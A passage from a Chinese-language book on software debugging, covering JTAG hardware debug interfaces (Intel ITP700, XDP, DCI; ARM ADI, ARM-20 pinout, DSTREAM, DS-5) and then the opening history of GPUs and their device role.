从实现角度来看,探测模式是通过扩展JTAG标准实现的,包括增
加TAP寄存器、TAP指令和管脚信号。
可能是为了避免混淆,英特尔的各种文档没有系统地介绍探测模
式。通常是用进入“空闲状态”等词语一带而过。但从调试的角度分析,
CPU此时是在另一种模式下工作着的。
7.4.3 ITP接口
为了更好地调试基于IA-32处理器设计的主板和系统,英特尔定义
了3种调试接口用以和集成在处理器中的调试功能通信。这3种接口是:
ITP(30针)、ITP700(25针)和XDP(60 pin)。
ITP是In-Target Probe的缩写,意思是目标内探测器。下面我们详细
介绍曾经广泛使用过的ITP700接口。
ITP700是一个 25针(pin)的接口(见图7-6),主要包含3类信
号,即JTAG信号、系统信号和执行信号。JTAG信号即IEEE 1149.1中定
义的标准信号。系统信号用来指示整个系统的状态。执行信号用来控制
目标处理器的执行和复位。
图7-6 ITP700接口示意图
表7-4列出并解释了ITP700接口的各个信号,其中第3列给出的输入
和输出方向是相对于ITP工具的。
表7-4 ITP信号说明
信 号
编号
输
入/
输
出
描 述
PWR
22
输
入
目标系统的电源。ITP工具可以用来:①判断目标系统的
电源是否稳定;②用作产生BPM[5:0]#和RESET#信号时
的参考电压;③与DBA#信号一起用于仲裁(arbitrate)边
界扫描链的使用权
BCLK(p/n) 19/21 输
入
目标系统的差分驱动总线信号。用于采样执行信号等
DBA#
(Debug Port
Active)
4
输
出
指示调试端口是否活动(active)。ITP使用该信号表示它
正在使用目标系统的TAP接口
DBR#
(Debug Port
Reset)
6
输
出
复位调试端口。ITP可以使用该信号来复位目标系统
FBI
18
输
出
TAP主时钟(master clock)的另一个来源。对于大多数
ITP实现,该信号都是可选的,因为通常都使用TCK作为
TAP的主时钟
FBO
17
输
入
是TCK的回馈
TCK
16
输
出
TAP主时钟的标准来源。如果FBI被用为主时钟信号,那
么ITP工具可以不提供TCK
TDI
10
输
出
TAP的数据输入信号。ITP工具通过该信号向目标系统发
送数据
TDO
24
输
入
TAP的数据输出信号。ITP工具通过该信号从目标系统接
收数据
TMS
12
输
TAP状态管理信号
TMS
12
输
出
TAP状态管理信号
TRST# (Test
Reset)
14
输
出
测试逻辑复位信号
BPM[5:0]#
13、
11、
9、
7、
5、3
输
入
来自目标系统的断点信号。BPM[3:0]#用来表示对应的调
试寄存器断点被触发(或对应的性能计数器溢出,依赖于
DebugCtl寄存器) BPM4#相当于奔腾处理器的PRDY信
号,目标CPU用以回应ITP工具的探测请求(Probe
Request),通知ITP工具已经进入探测模式,可以接受各
种调试命令了 BPM5#应该与BPM5DR短接,因此没有独
立功能
RESET#
15
输
入
来自目标系统的复位信号
BPM5DR#
23
输
出
相当于PREQ(Probe Request)信号,ITP工具用之请求对
目标处理器的控制权
参考资料[5]更详细地介绍了ITP700端口的细节以及设计中应该注意
的问题。
7.4.4 XDP端口
XDP是eXtended Debug Port的缩写,意思是扩展的调试端口。ITP所
包含的信号是XDP的一个子集,因此可以通过一个转接头将XDP端口转
为ITP。
简单来说,XDP是一个图7-7所示的接头,共有60针,除了JTAG标
准中定义的信号外,还包括很多实现扩展功能的信号。与ITP相比,尽
管XDP的信号数量更多,但是由于设计不同,它占用的主板空间更小。
图7-7 XDP端口
市场上销售的大多数主板并没有安装XDP端口,但是在其背面(不
安装零件的一面)通常留有一组焊点,可以焊接上称为XDP-
SSA(Second Side Attach)的调试端口。XDP-SSA共有31个信号,是
XDP的一个子集,因此不再具有XDP的某些增强功能。通常处于开发阶
段的主板才带有完整的XDP调试端口。
参考资料[6]详细介绍了XDP端口的所有信号及功能。
7.4.5 ITP-XDP调试仪
有几家公司生产和开发IA平台的JTAG调试器,除了英特尔公司
外,著名的还有Arium(合并到Asset Intertech)和劳特巴赫
(Lauterbach)。
完整的JTAG调试器一般分为硬件和软件两个部分。为了避免引起
歧义,本书把硬件部分称为JTAG调试仪。图7-8所示的是英特尔公司的
JTAG调试仪,名叫ITP-XDP,常常简称为ITP。
图7-8 英特尔公司的JTAG调试仪
在很长一段时间里,ITP是很敏感的秘密武器。即使是英特尔的内
部员工,也要特别申请才可走内部流程购买(内部价格500美元)。如
果要带出公司使用,还需要上级审批。大约从2011年开始,英特尔逐步
放宽了ITP的适用范围,先是允许一些外部合作伙伴购买和使用,后来
在官网上明码标价出售(单价3000美元,软件需另外购买)。
老雷评点
2010年年底,英特尔在与台湾某OEM联合开发新款平板电
脑时遇到多个技术难题。老雷临危受命,携带ITP到台北“救
火”。某日正在使用ITP时,一台湾同行看见了这个神秘小盒子后
大为激动:“哇,你在用ICE啊!”并唤同伴来看。那位同行对
ICE的敬重,让我对他刮目相看。
7.4.6 直接连接接口
大约从2016年开始,英特尔逐步对外公布了一种名为直接连接接口
(Direct Connect Interface,DCI)的新技术。简单来说,DCI技术可以
复用USB3接口来访问处理器内部的各种调试功能(DFx),包括JTAG
逻辑。DCI技术的最大优点就是使用日益普及的USB3接口,不再像
ITP/XDP那样需要专门的硬件接口(大多数电子产品只有在开发阶段才
有这个接口)。使用USB3接口的另一个好处是不必打开机箱就可以访
问到,因此英特尔公司自己的DCI调试仪就称为Intel® Silicon View
Technology Closed Chassis Adapter(为英特尔硅观察技术设计的不需开
机箱适配器)(见图7-9)。DCI调试仪的价格也比ITP便宜很多(390美
元)。
图7-9 英特尔公司的DCI调试仪
DCI的方便性增加了它可能产生的安全风险——黑客可能通过DCI
协议控制和访问计算机系统,因此DCI功能一般是禁止的,使用时应该
先在BIOS设置中启用。
7.4.7 典型应用
正如本章开头所说的,硬件调试工具通常用来解决软件调试器难以
解决的问题。以下是使用JTAG方式调试的一些典型场景。
(1)调试系统固件代码,包括BIOS代码、EFI代码以及支持AMT
技术的ME(Management Engine)代码。
(2)调试操作系统的启动加载程序(Boot Loader),以及系统临
界状态的问题,比如进入睡眠和从睡眠状态恢复过程中发生的问题。
(3)软件调试器无法调试的其他情况,比如开发软件调试器时调
试实现调试功能的代码(例如Windows的内核调试引擎),以及调试操
作系统内核的中断处理函数、任务调度函数等。
(4)观察CPU的微观状态,比如CPU的ACPI状态(C State)。
7.5 ARM处理器的JTAG支持
于1992年开始发布的ARM6系列处理器是最早实现了JTAG支持的
ARM架构处理器。这一系列处理器中最著名的是苹果公司牛顿
PDA(Newton PDA)产品使用的ARM610芯片。如我们在第2章所述,
ARM6系列处理器属于ARMv3架构。不过,当时的JTAG支持还没有被
纳入ARM架构中,只是一种可选择的实现。后来的ARM7系列和ARM9
系列也是如此。比如,著名的ARM7TDMI中的D便代表实现了JTAG调
试支持,I是ICE的缩写。这种情况持续了几年,直到2002年ARMv6架
构推出时,才把名为ARM调试接口(ADI)的调试支持纳入到架构定义
中,并推荐实现ARMv6的处理器要支持ADIv4。概而言之,ARMv3架
构的某些ARM处理器最早实现了JTAG支持,但不是架构性特征,
ARMv6时把ADI支持定义为架构的一部分。
7.5.1 ARM调试接口
ADI的全称是ARM调试接口架构规约(ARM Debug Interface
Architecture Specification)。ADI的1~3版本实现在某些ARM核心中。
ADI的版本4(简称ADIv4)被纳入ARMv6,正式成为ARM架构的一部
分。目前较新的版本是ADIv6。
简单来说,ADI为使用ARM架构的设备定义了调试子系统,详细规
划了这个子系统的组成和每个部件的角色,确定了它们的职责,定义了
它们之间的连接方式。
当使用硬件调试器调试ARM目标系统时,需要一台主机,典型的
连接方式如图7-10所示。图中左侧是主机,一般是Windows系统或者
Linux系统,中间是硬件调试器,主机和硬件调试器之间的连接方式一
般是USB或者网线,比较旧的连接方式还有串行端口。硬件调试器通过
特殊的电缆连接到目标系统的调试连接插口(Debug Connector)。硬件
调试器和调试连接口都有很多种,我们将在后面介绍。表面上看,使用
一个调试器就把主机和目标系统连接在一起了。接下来的问题是,调试
器是如何访问和控制调试目标的呢?这就涉及SoC芯片的内部设计了,
而这正是ADI要解决的问题。
图7-10 ADI调试系统互联关系示意图
进一步来说,ADI定义了SoC芯片内部应该如何设计,以便可以与
调试器通信,实现各种调试功能。为了实现这个目标,ADI定义了3个
角色:DP、AP和被调试器件。也就是图7-10中代表SoC的方框内所画
的。图中画出了1个DP、3个AP和3个被调试组件。
7.5.2 调试端口
调试端口(Debug Port,DP)的职责是与调试器通信,接受调试器
的命令和参数,把命令结果提供给调试器。ADI定义了以下3种DP。
(1)JTAG-DP:是与本章前面介绍过的IEEE 1149.1标准兼容的通
信方式,通过扫描链来读写寄存器信息和传递数据。
(2)SW-DP:是ARM公司定义的标准,通过两根线进行串行通
信,ARM将其称为串行线(Serial Wire)技术,简称SW。
(3)SWJ-DP:可以动态选择使用串行线或者JTAG方式通信。
通常,一个支持ADI的SoC芯片至少要实现一个调试端口。这个调
试端口可以选择上面3种实现方式之一。
7.5.3 访问端口
访问端口(Access Port,AP)的职责是访问被调试的目标器件,从
那里读取信息,或者把数据写给目标器件。ADI定义了以下两种AP。
(1)MEM-AP:全称为内存访问端口(Memory Access Port),是
通过内存映射的方式访问目标器件和它的资源。
(2)JTAG-AP:使用JTAG方式访问被调试的目标器件。
一个支持ADI的SoC中至少有一个AP。考虑到SoC系统中包含很多
个需要调试的组件,所以通常要实现多个AP。AP的类型应该根据被调
试目标的特征来选择。
7.5.4 被调试器件
在ADI中,支持两种调试器件,一种是CoreSight器件,另一种是
JTAG器件。CoreSight是ARM公司设计的一套调试技术,我们在第5章
曾经介绍过(见5.7.4节)。
当一个SoC内部有多个AP和被调试组件时,每个被调试组件应该配
有一块只读内存(ROM),里面以表格形式记录器件的ID信息,以便
调试器可以通过这些信息区分不同的器件。
在ADIv6的规约文档中,分A、B、C、D四个部分详细介绍了ADI
总体结构、DP、AP和器件识别机制[9],希望了解更多详细信息的读者
可以查阅。
7.5.5 调试接插口
ADI定义的是SoC芯片内部的规范。实际调试时,必须落实的一个
问题是如何把硬件调试器与目标系统连接起来。通常,在设计设备的主
板时会考虑提供何种接插口(connector)供调试器连接。
说明一下,我们现在谈论的调试接插口与上面谈的调试端口虽有联
系,但并不相同。上面的调试端口定义的是内部设计,这里的调试接插
口涉及物理连接。换句话来说,本书把英文中的interface、port、
connector这3个单词分别翻译为接口、端口、接插口,以便区分。
因为使用ARM芯片的系统一般都是小型设备,主板较小,“寸土寸
金”,所以必须根据实际情况来决定提供何种接插口。好在有多种不同
尺寸的调试接插口可供选择。
我们首先来介绍ARM-20接口,它的形状和针脚编号如图7-11所
示。
图7-11 ARM JTAG 20(ARM-20)接口
ARM-20接口是ARM公司定义的,共有20个针脚,其中既有标准的
JTAG信号(TDI、TDO、TMS、TCK等),也有前面介绍过的串行通
信标准信号(SWDIO、SWCLK),所以,ARM-20支持我们上面介绍
的3种DP。表7-5描述了ARM-20接口的各个针脚信号名称和功能。
表7-5 ARM-20接口信号定义
针
脚
信号名称
I/O
描 述
1
VTREF
输入
目标电压参考(Voltage Target Reference)
2
NC
—
不连接或者用作电源
3
nTRST
输出
对目标系统发起复位请求(Test Reset)
4
GND
—
地
5
TDI
输出
JTAG的测试数据输入(Test Data In)信号
6
GND
—
地
7
TMS
输出
测试模式选择(Test Mode Select)
8
SWDIO
输入/输
出
在SWD模式时用作接收和发送串行数据
9
GND
—
地
10
TCK
输出
测试时钟
11
SWCLK
输出
在SWD模式时用作时钟信号
12
GND
—
地
13
RTCK
输入
测试时钟信号回显(echo back)(Return Test Clock)
14
GND
—
地
15
TDO
输入
测试数据输出
16
SWO
输入
在SWD模式时供调试器接收数据
17
GND
—
地
18
nSRST
输入/输
出
系统复位,彻底重启目标系统
19
GND
—
地
20
DBGRQ
输出
调试请求(Debug Request),请求目标处理器进入调试
状态
21
GND
—
地
22
DBGACK 输入
确认收到调试请求(Debug Acknowledge)
23
GND
—
地
ARM-20接口的物理尺寸有两种:一种是标准大小;另一种是标准
大小的一半,以减少占用空间。
在TI的系统上,经常使用的是一种14针的调试接插口,名为TI-
14。
除了上面介绍的,还有MIPI-10/20/34等多种接口,大同小异。当遇
到接口不匹配时,可以考虑通过转接头进行转接。
7.5.6 硬件调试器
适用于ARM平台的硬件调试器有多种,图7-12是ARM公司的
DSTREAM调试器。
图7-12 ARM公司的DSTREAM硬件调试器
如图7-12所示,其中包含一大一小两个盒子,后面的是主调试器,
前面的是接口转换器,以便与不同调试接插口的目标设备连接。
7.5.7 DS-5
DS-5是ARM倾力打造的开发套件(Development Studio),包含基
于Eclipse的IDE、DS-5调试器、名为Streamline的性能分析器以及名为
FVP(Fixed Virtual Platform)的仿真平台。
DS-5调试器可以与上面提到的DSTREAM硬件调试器合作,一起调
试产品开发早期的底层问题。
使用DS-5的semihosting技术,可以把目标设备上的输出重定向到主
机端,当目标设备没有显示器时这个功能很有用。
DS-5有收费的商业版本,也有免费的社区版本和适用版本。
7.6 本章小结
本章介绍了硬件调试工具广泛使用的JTAG标准,以及它在IA架构
和ARM架构中的应用。使用硬件调试工具的优点是依赖少,可控性
强,因此非常适合调试系统软件、敏感的中断处理代码以及与硬件有关
的问题。另外,因为不需要在目标系统中运行任何调试引擎或其他软
件,所以使用硬件调试工具比使用软件工具对被调试软件的影响更小,
也就是具有更小的海森伯效应(见15.3.9节)。
硬件调试工具的局限性是价格比较昂贵,要求目标系统具有调试接
插口(如ITP或XDP),连接和设置也相对复杂。
本章是这一篇的最后一章。总体而言,本篇以英特尔处理器和
ARM处理器为例介绍了CPU对软件调试的支持,下面从“需求”的角度再
对这些功能进行概括(见表7-6)。
表7-6 调试需求和CPU的支持
调 试 需 求
CPU的支持
章 节
执行到指定地址处的指令时中断到调试器
指令访问断点
4.2节
执行完每一条指令后都中断到调试器
单步执行标志(陷阱标
志)
4.3节
执行完当前分支后中断到调试器
按分支单步执行(陷阱
标志)
4.3节,
5.3节
访问指定内存地址的内存数据(读写内存)时中
断到调试器
数据访问断点(硬件断
点)
4.2节
访问指定I/O地址的I/O数据(输入输出)时中断
到调试器
I/O访问断点(硬件断
点)
4.2节
遇到该指令就中断到调试器
断点指令(软件断点) 4.1节
切换到指定的任务就中断到调试器
TSS中的T标志
4.3节
记录软件/CPU的执行轨迹
分支记录机制
5.2节,
5.3节
监视CPU和软件的执行效率
性能监视
5.5节
记录下CPU遇到的硬件错误
MCA
6.2节
调试CPU本身的问题,或以上手段都难以解决的
其他调试任务
JTAG支持
7.4节
参考资料
[1] Dual-Core Intel Xeon Processor LV and Intel 3100 Chipset
Development Kit User’s Manual. Intel Corporation.
[2] IEEE Std 1149.1(JTAG) Testability Primer. Texas Instrument.
[3] P6 Family Processors Hardware Developer’s Manual. Intel
Corporation.
[4] Robert R. Collins. Overview of Pentium Probe Mode.
[5] ITP700 Debug Port Design Guide. Intel Corporation.
[6] Debug Port Design Guide for UP/DP Systems. Intel Corporation.
[7] ITP-XDP 3BR Kit . Intel Corporation.
[8] ARM JTAG Interface Specifications. Lauterbach GmbH.
[9] ARM Debug Interface Architecture Specification ADIv6.0 ARM
Limited.
第三篇 GPU及其调试设施
GPU源于显卡,1999年Nvidia发布第一代GeForce时,开始使用GPU
之名。近年来,GPU发展迅猛,凭借强大的并行计算能力和高效率的固
定硬件单元,在人工智能、区块链、虚拟和增强现实(VR/AR)、3D
游戏和建模、视频编解码等领域大显身手。另外,这种趋势还在延续,
基于GPU的应用和创新层出不穷。
但是从系统架构来看,针对GPU的架构转型还在进行过程中,目前
GPU依然还处于外设的地位,还没有摆脱从属身份。因为这个根本特
征,对GPU编程并不像对CPU编程那样直接,而调试和优化GPU程序的
难度就更大了,要比CPU程序复杂很多。
本篇是按“总起-分论-综合”的结构来组织的,一共7章。第8章介绍
GPU的发展简史、基本问题、软件接口、驱动模型和GPU调试的概况,
第9~13章分别介绍Nvidia、AMD、Intel、ARM和Imagination五个家族
的GPU。对于每个家族的GPU,深入解析它的发展历程、硬件结构、软
件接口、编程模型和调试设施。分别讨论之后,第14章再综合前面内
容,做简单的横向比较,探讨发展趋势,总结全篇。
一般把GPU的应用分为4个大类:显示、2D/3D、媒体和GPGPU。
本书侧重介绍GPGPU,偶尔兼顾其他3种。
在阅读本篇时,建议先读第8章,然后根据自己的情况在第9~13章
中选择一两章,最后再读第14章的综合讨论和学习方法。
某种程度上说,CPU的时代已经过去,GPU的时代正在开启。经历
了半个多世纪的发展,CPU已经很成熟,CPU领域的创新机会越来越
少。而GPU领域则像是一块新大陆,有很多地方还是荒野,等待开垦,
仿佛19世纪的美国西部,或者20世纪的上海浦东。对于喜欢软件技术的
各位读者来说,现在学习GPU是个很好的时机。
第8章 GPU基础
在开始介绍各家GPU之前,本章首先介绍一些公共基础,分为3个
部分。8.1节和8.2节介绍GPU的简要发展历史以及与诸多问题都有关的
设备身份问题。8.3~8.5节分别介绍GPU的软件接口、驱动模型和有代
表性的编程技术。8.6节简要浏览GPU的调试设施。
8.1 GPU简史
早期的计算机主要靠卡片输出计算结果。个人电脑出现后,显示器
成为主要的输出设备,与之配套的显卡随之成为现代计算机的一个关键
设备。显卡的本来职责就是承载要显示的屏幕内容,把要显示的信息送
给显示器。
8.1.1 从显卡说起
1981年8月12日,型号为5150的IBM PC发布,标志着IBM兼容PC的
历史正式开始。在5150机箱内部,插着一块很长的扩展卡(见图8-
1)。这块卡是用于显示和打印的,名叫单色显示和打印适配器
(Monochrome Display and Printer Adapter,缩写为MDPA或MDA)或者
显卡[1]。
图8-1 第一代IBM PC中的单色显示适配卡(MDA)
顾名思义,MDA只能显示黑白两种颜色,而且只能显示字符,即
所谓的单色字符模式。一次可以显示25行、80列的字符。
老雷评点
当年在大学读书时,有一门课叫“IBMPC汇编语言编程”,老
师讲的内容不多,大多数时间都是让学生上机实践。在实践环节
中会布置一个大作业,并让学生在DOS环境中用汇编语言编写一
个程序。很多人实现的一个功能就是在DOS下呈现菜单栏、下拉
菜单,然后在各个菜单项下加入五花八门的功能。在DOS下,整
个屏幕的大小就是25行80列。当用扩展ASCII码实现菜单边框
时,要精确计算屏幕的布局,每一行每一列要显示什么都要心里
有数。
MDA卡上包含了4000字节的刷新缓冲区,用于存放要显示的屏幕
内容,其中2000字节存放的是屏幕上字符的ASCII码,刚好与25行80列
的屏幕内容一一对应。另外2000字节存放的是每个字符的属性信息,属
性信息包括是否加亮(highlight)、闪烁(blink)、加下画线、反显
等。MDA上的字符发生器(charracter generator)负责产生每个字符的
显示信息,根据字符编码从保存的字符库中(类似于字体文件)找到字
形描述,再根据属性字节的要求“绘制”出字符的每个像素。
图8-1中,横躺着那块个头最大的芯片是摩托罗拉公司生产的,型
号为MC6845,它的主要功能是产生显示信号,与CRT(阴极射线管)
显示器一起协作,把刷新缓冲区中的字符按要求显示在屏幕上。
MC6845常称为CRT控制器(CRT controller),其角色在今天的GPU和
显卡中仍然存在,并称为显示控制器(display controller)。
1987年,IBM公司发布了名为PS/2(Personal System/2)的第三代个
人电脑。与前一代PC AT(AT代表Advanced Technology)相比,这一
代引入了多项新技术。除了在PC历史上使用了很多年的PS/2鼠标键盘接
口外,还有名为VGA的新一代图形显示技术。
VGA的全称为视频图形阵列(Video Graphics Array)。其核心功能
是把帧缓冲区(frame buffer)中的要显示内容转变成模拟信号并通过一
个15针的D形(D-sub)接口送给显示器。这个15针的显示接口一直使用
到现在,即通常说的VGA接口。VGA不仅支持彩色显示,还支持多种
图形模式。
一块VGA显卡的主要部件有以下几个部分。
视频内存(video memory),其主要作用是临时存放要显示的内
容,即上面提到的刷新缓冲区和帧缓冲区,也就是通常所说的显
存。
图形控制器,承载显卡的核心逻辑,负责与CPU和上层软件进行交
互,管理显卡的各种资源,通常实现在一块集成芯片内,是显卡上
最主要的芯片。这部分不断扩展和增强,逐步演化为后来的GPU。
显示控制器,负责把要显示的内容转化为显示器可以接收的信号,
有时也称为DAC(数字模拟信号转换器)。
视频基本输入输出系统(Video BIOS,VBIOS),显卡上的固件单
元,从硬件角度来看,是一块可擦写的存储器(EPROM)芯片,
里面存放着用于配置和管理显卡的代码和数据。对于显卡的开发者
来说,可以通过修改VBIOS快速调整改变显卡的设置,或者修正瑕
疵。对于软件开发者来说,调用VBIOS提供的功能不但可以加快编
程速度,而且可以提高兼容性(VBIOS以统一的接口掩盖了硬件差
异性)。在DOS下,可以很方便地通过软中断机制(INT 10h)来
调用VBIOS提供的服务。
老雷评点
犹记当年在DOS下编写汇编代码,通过INT 10设置显示模
式,在单步调试这样的代码时,如果在时序敏感处停留过久,
CRT显示器的输出画面会变得一片混乱,光怪陆离。
在PC产业如日东升的20世纪80年代,显卡是PC系统必备的关键部
件,而且价格不菲。于是以开发显卡为主业的多家公司相继出现,著名
的有1985年成立的ATI(Array Technology Inc.),1987年成立的Trident
Microsystems(中文名泰鼎)。两家公司都以研发显卡上的核心芯片组
而闻名。ATI公司的Wonder系列(ATI 18800)和Trident TVGA8800都
是VGA时代很有影响的显卡核心芯片。
老雷评点
在VGA时代,泰鼎是显卡领域的著名公司,老雷大学时所
购486电脑,搭配的便是TVGA显卡。但在后来的竞争中,泰鼎
逐步落后,于2012年解散。
8.1.2 硬件加速
1991年,S3公司(S3 Graphics, Ltd)推出了名为S3 86C911的图形
芯片,其最大的亮点是2D图形加速功能,可以通过芯片内的硬件单元
提高2D图形的绘制效果和速度。
举个简单的例子来解释2D图形加速的意义。假设我们要在屏幕上
显示一条斜线。因为屏幕上的每个像素点使用的是整数坐标,是离散
的,所以就需要通过一些近似算法来把连续的斜线映射成屏幕上离散的
一个个点。这个过程如果完全由软件来做,那么不仅占用CPU较久而且
效果可能不好。除了画斜线外,画圆和画其他图形或者对图形进行缩放
时也有类似的问题。S3的两位创立者(Dado Banatao和Ronald Yara)正
是看准了这个机遇,于1989年成立公司,用两年时间研发出了86C911,
结果一鸣惊人。产品名字中的911源自以速度著称的保时捷汽车。可以
说,S3公司就是为图形加速而生的。
1994年,3dfx Interactive公司成立,两年后,推出了名为巫毒
(Voodoo)的产品,其杀手锏是3D加速。第一代巫毒产品(Voodoo1)
不仅自身价格昂贵(约300美元),而且因为缺少普通的显示功能,还
需要用户同时配备一张普通显卡来一起工作,但这并没影响这款产品的
热销。3dfx Interactive公司依靠这款产品一夜成名,迅速成为显卡市场
的领导者。3D加速的主要应用便是3D游戏,巫毒系列显卡为3D游戏提
供了强大的动力,让PC游戏进入3D时代。3D游戏的发展反过来又进一
步推动3D加速技术的发展。二者相互推动,使3D加速和3D游戏成为20
世纪90年代的两大热门技术。
有了2D和3D加速技术后,显卡的用途更加广泛了,除了游戏之
外,还有工程建模。巨大的市场潜力吸引更多的公司加入这个领域。
1993年,Nvidia公司成立。1995年,芯片巨头英特尔推出i740显卡,正
式加入显卡领域的竞争。
1999年8月31日,Nvidia公司发布GeForce 256芯片[2],将光照引擎
(lighting engine)、变换引擎(transform engine)和256位的四通道渲
染引擎(256-bit quadpipe rendering engine)集成到一块芯片中,并赋予
这块高度集成的芯片一个新的称呼,叫GPU(Graphics Processing
Unit)。从此,GPU之名逐渐流行,显卡成为旧的名字。
8.1.3 可编程和通用化
进入新千年后,显卡领域的竞争愈演愈烈。2000年年末,3dfx
Interactive公司陷入危机,申请破产失败,只好选择被Nvidia公司收购。
泰鼎和S3公司也因为跟不上创新的步伐而脱离第一阵线。英特尔依靠集
成在芯片组(北桥)中的集成显卡占据着低端市场。Nvidia和ATI公司
处在领先位置,争夺老大。
2001年,Nvidia公司发布第三代GPU产品——GeForce 3。值得说明
的是,上文提到的GeForce 256是第一代GPU,也是第一代GeForce,名
字中的256代表的是渲染引擎的位宽,不是产品的序号。
GeForce 3最大的亮点是可编程,最先支持微软DirectX 8引入的着色
器(shader)语言。
在GeForce 3之前,设计GPU的基本思路是把上层应用常用的复杂计
算过程用晶体管来实现,比如计算量比较大的各种2D和3D操作,这样
设计出的一个个功能模块称为固定功能(fixed function)单元,有时也
称为加速器,多个加速器连接起来便成为流水线(pipeline)。设计固
定功能单元的优点是速度快,缺点是死板和不灵活。而可编程的优点是
灵活度高,通用性好。当然,可编程方法也有缺点。首先,可编程方法
的速度通常慢于固定功能单元。其次,可编程引擎的效果更加依赖上层
软件,如果上层代码写得不好,或者与引擎的流水线结构配合得不好,
那么可编程方法的效果就可能很差。
那么到底是该多花资源做固定功能单元,还是集中资源做通用性更
好的可编程引擎呢?这是GPU设计团队中经常争论的一个问题。不同人
有不同的看法,同一个人在不同的时间也可能看法不同。通俗一点说,
固定功能单元直接满足需要,直截了当,见效快,立竿见影;而可编程
方法需要把各种应用中的通用逻辑抽象提炼出来,然后设计出具有通用
性的一条条指令,接着再编写软件实现各种应用。相对来说,后一种方
法的挑战更多,风险更大。
2003年,约翰·尼可尔斯(John Richard Nickolls)加入Nvidia公司的
GPU设计团队。约翰曾在Sun公司(Sun Microsystems)担任架构和软件
部门的副总裁,很熟悉并行计算,非常看好GPU在并行计算领域的前
景。
2006年11月8日,Nvidia公司发布Geforce 8800显卡,卡上的GPU名
叫G80,使用的是特斯拉微架构[3]。
G80最大的特色是使用通用处理器来替代固定功能的硬件单元,通
过多处理器并行来提高处理速度。G80引入了全新的流式多处理器
(Streaming Multiprocesor,SM)结构,使流处理器阵列成为GPU的核
心。G80中包含了128个流处理器(Streaming Processor,SP),每8个一
组,组成一个流式多处理器。G80把GPU的可编程能力和通用计算能力
提升到一个前所未有的高度,以通用计算来实现图形功能,革命性地把
图形和计算两大功能统一在一起。这种以通用处理器来替代以前的多个
分立着色器的做法,称为“统一化的流水线和着色器”(Unified Pipeline
and Shader),有时也称为“统一化的着色器架构”(Unified Shader
Architecture),又或者简称为统一化设计(Unified Design)[4]。
图8-2(a)是G80芯片的晶片照片(dieshot),图8-2(b)是主要
模块的描述。图中的SM即代表流式多处理器。G80一共有16个SM,分4
组均匀分布在芯片的4个黄金位置。从图中也可以粗略估计出通用单元
占据了芯片的大约一半面积。
(a)晶片照片 (b)布局描述
图8-2 G80的晶片照片和布局描述
G80的成功是空前的。G80显卡的各项性能明显超越竞争对手(ATI
Radeon X1950)以及自家的前一代产品。更重要的是,G80开创了新的
GPU设计方法,证明了使用通用处理器来加速图形计算不但是可行的,
而且是大有优势的。
2007年,Nvidia公司的CUDA计算模型发布,让开发者可以使用C
语言的扩展来开发各种应用,这进一步释放了G80架构的潜能,让GPU
逐步应用到通用计算领域,这为人工智能技术的大爆发奠定了计算方面
的基础。概而言之,G80不仅满足了图形加速方面的需求,还为GPU开
创出了通用计算的新道路。用著名科技媒体ExtremeTech的话来说,G80
重新定义了什么是GPU,以及它们能做什么。G80的成功在GPU历史上
具有里程碑的意义。2016年11月8日,G80发布10周年的时候,
ExtremeTech采访了G80研发团队的部分成员,记者询问道:“设计G80
时是否已经考虑到了通用计算用途?是有意为之,还是误打误撞,一石
二鸟,意外多了一项收获?”Nvidia GPU架构部门的副总裁约翰·丹斯金
(John Danskin)回答说,我们竭尽所能设计可编程能力优秀的图形引
擎,而后我们也确保它能很好地完成计算。他特别提到约翰· 尼可尔斯
(John Nickolls,图8-3),说他的愿景就是让GPU解决高性能计算的问
题。约翰·尼可尔斯长期耕耘在并行计算领域,曾合伙创建著名的小型
机公司MasPar Computer,也在Sun Microsystems公司工作过,于2003年
加入Nvidia公司。加入Nvidia后,他大力主张使用通用计算思想革新
GPU设计,是G80背后的一个伟大灵魂。可惜,约翰·尼可尔斯先生于
2011年因患癌症去世。
图8-3 G80的关键设计者约翰·尼可尔斯(1950—2011)
为了纪念约翰·尼可尔斯,Nvidia公司以及约翰·尼可尔斯的同事和
朋友们在约翰·尼可尔斯毕业的伊利诺伊大学设立了尼可尔斯奖学金
[5]。
8.1.4 三轮演进
前面简要回顾了GPU的演进过程,从最早的显示功能,到2D/3D加
速,再到通用可编程。经过这 3 个阶段的演进,一个单一功能的扩展卡
发展为支持多种类型应用并具有无限扩展能力的通用计算平台,其发展
前景难以估量。真可谓,三轮演进,终成正果。
老雷评点
打开20世纪90年代初的PC机箱,里面一般都插着几块卡,
比如声卡、显卡、超卡(超级I/O卡的简称)、电影卡等,如今
很多卡都灭亡了,只有显卡顽强地存活下来,而且生命力强劲,
不断发展。
值得说明的是,在这个演进过程中,前一阶段的成果并没有丢弃,
而是叠加在一起。比如,今天的GPU大多仍保留着最早的显示功能。总
体而言,今天的GPU包含四大功能:显示、2D/3D加速、视频编解码
(一般称为媒体)和通用计算(称为GPGPU)。图8-4中把这四大功能
模块画在了一起。
图8-4 现代GPU的四大功能模块
在开发GPU的团队中,通常也按上述四大功能来划分组织架构并分
配各种资源。
综上所述,经历三轮演进,传统的显卡演化成了今日的GPU。在这
场跨世纪的演进中,GPU积累了显示、2D/3D加速、媒体和通用计算四
大功能于一身。
8.2 设备身份
因为AI、区块链等潮流的推动,GPU产品常常供不应求。尽管在市
场中地位显赫,但是在计算机架构中GPU的身份没有改变过,始终属于
设备身份,比协处理器还低。今天的计算机架构是以CPU为核心的,
GPU一直属于设备。即使对于集成在CPU芯片中的GPU来说,虽然物理
上与CPU在一起,但是其身份仍是设备身份,以英特尔GPU为例,它在
PCI总线上的位置总是0 : 2.0(0号总线上的2号设备)。深刻理解这个基
本特征,对于学习GPU很重要,因为很多机制都是由这个基本身份问题
所决定的。本节简略探讨其中几个方面的机制。
8.2.1 “喂模式”
迄今为止,GPU还不能直接从磁盘等外部存储器加载程序。只能等
待CPU把要执行的程序和数据复制过来喂给它。本书把这种模式简称
为“喂模式”。
“喂模式”意味着GPU不独立,需要依靠CPU来喂它。不然,它就会
闲在那里,处于饥饿状态。或者说,GPU内虽然有强大的并行执行能
力,但如果没有CPU“喂”代码和数据过来,那么再强大的硬件也会空
置。
8.2.2 内存复制
“喂模式”决定了GPU端的代码和数据大多都是从CPU那边复制过来
的。对于独立显卡而言,这一点较好理解。对于集成显卡,其实很多时
候也需要复制。虽然集成的GPU常常使用一部分系统主内存作为显存,
但是这部分内存与CPU端的普通内存还是有很多区别的,这导致很多时
候还需要进行内存复制。
8.2.3 超时检测和复位
为了更好地管理GPU,CPU在给GPU“喂”任务后,通常会启动一个
